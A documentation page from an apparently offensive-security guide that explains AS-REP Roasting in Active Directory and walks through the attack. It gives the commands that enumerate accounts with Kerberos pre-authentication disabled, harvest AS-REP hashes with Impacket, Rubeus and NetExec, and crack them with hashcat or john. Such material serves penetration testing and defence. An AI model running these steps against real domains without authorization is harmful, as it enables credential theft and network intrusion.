> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# AS-REP Roasting

AS-REP Roasting targets AD accounts with **"Do not require Kerberos preauthentication"** enabled (the `UF_DONT_REQUIRE_PREAUTH` flag). The KDC hands back something encrypted with a key it never confirmed the requester should have, but needs *less* than Kerberoasting to pull off: not even a valid domain credential, just a username.

### A Quick Pre-Authentication Refresher

Normal Kerberos authentication starts with the client proving it knows the account's password *before* the KDC hands back anything useful: the client encrypts a timestamp with a key derived from the user's password hash and sends that alongside the `AS-REQ`. The KDC decrypts it with the same derived key, if the result is a valid, recent timestamp, identity is proven, and only then does the KDC issue the TGT. Anyone who doesn't know the password can't produce that encrypted timestamp, so they never get past this step.

### The Flaw: Pre-Authentication Disabled

An account with pre-auth disabled skips that proof entirely. The KDC simply trusts the username in the `AS-REQ` and replies with an `AS-REP`, no encrypted timestamp required, no check that the requester knows anything at all. Anyone on the network, authenticated or not, can send a raw `AS-REQ` for that username and get a`AS-REP` back.

### What's In the AS-REP

Part of that `AS-REP` is a session key, encrypted with a key derived from the **target user's own password hash**, the same derivation Kerberos uses everywhere else (RC4-HMAC over the NTLM hash by default, or an AES-based derivation if the account is configured for it). That encrypted blob is the crackable artifact: pulled offline, there's no lockout policy and no per-guess logging, just raw compute against the target's password, exactly like a Kerberoasting TGS-REP.

### AS-REP Roasting vs. Kerberoasting

| | AS-REP Roasting | Kerberoasting |
| - | - | - |
| Prerequisite | None, just a valid username | A valid domain credential |
| Request type | `AS-REQ` (initial authentication) | `TGS-REQ` (service ticket request) |
| Target account | Any user with pre-auth disabled | Any account with an SPN (service account) |
| Hash encrypted with | The target user's own password | The service account's password |
| Hashcat mode | 18200 | 13100 |

### Why This Is Ever Set

Pre-auth disabled is almost always either a legacy compatibility setting (older Kerberos clients/applications that don't support pre-authentication), a misconfiguration carried over by copying an old template account, or a setting applied once for a specific reason and never revisited, it's rarely intentional on a given user account.

***

## Finding Vulnerable Accounts

### PowerView

```powershell theme={null}
Import-Module .\PowerView.ps1
 
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol
Get-NetUser -PreauthNotRequired                                                     # legacy equivalent, same result
Get-Domainuser | Where-Object {$_.UserAccountControl -like "*DONT_REQ_PREAUTH*"}     # filters client-side on the decoded flag name instead of the raw bit
```

### Native AD Module (No PowerView Needed)

```powershell theme={null}
Import-Module ActiveDirectory
 
Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $True' -Properties DoesNotRequirePreAut
```

### Impacket

```shellscript theme={null}
impacket-GetNPUsers.py <domain>/ -usersfile users.txt -no-pass
```

***

## Harvesting the AS-REP

**Linux (Impacket)**

Collect Roastable accounts with `impacket-GetNPUsers.py`

```bash theme={null}
impacket-GetNPUsers.py <domain>/ -usersfile users.txt -request -outputfile hashes.asreproast
```

> [!TIP]
>
> If a valid credential is already in hand, add `<domain>/<user>:<password>` in place of the bare `<domain>/` to authenticate the LDAP lookup and target the full user list automatically instead of guessing at one.

**Windows (Rubeus)**

Needs a foothold on a domain-joined host (to run Rubeus from), but not any credential belonging to the target account itself.

```powershell theme={null}
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt /nowrap                       # every AS-REP roastable account in the domain
.\Rubeus.exe asreproast /format:hashcat /usr:<username> /nowrap /outfile:hash.txt          # target one specific account
```

**NetExec**

Harvest with [NetExec](https://www.netexec.wiki/ldap-protocol/asreproast)`--asreproast` flag

```bash theme={null}
netexec ldap <target_fqdn> -u <user> -p '' --asreproast asreproast.out
```

***

## Cracking the Hash

How to crack Hashes is fully covered on the [Password Cracking](https://0-x.dev/password-cracking.md) page. Use the correct modes while cracking.

```shellscript theme={null}
john ./hash.txt --format=krb5asrep --wordlist=<list> 
hashcat -m 18200 <hash> <wordlist>
```


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.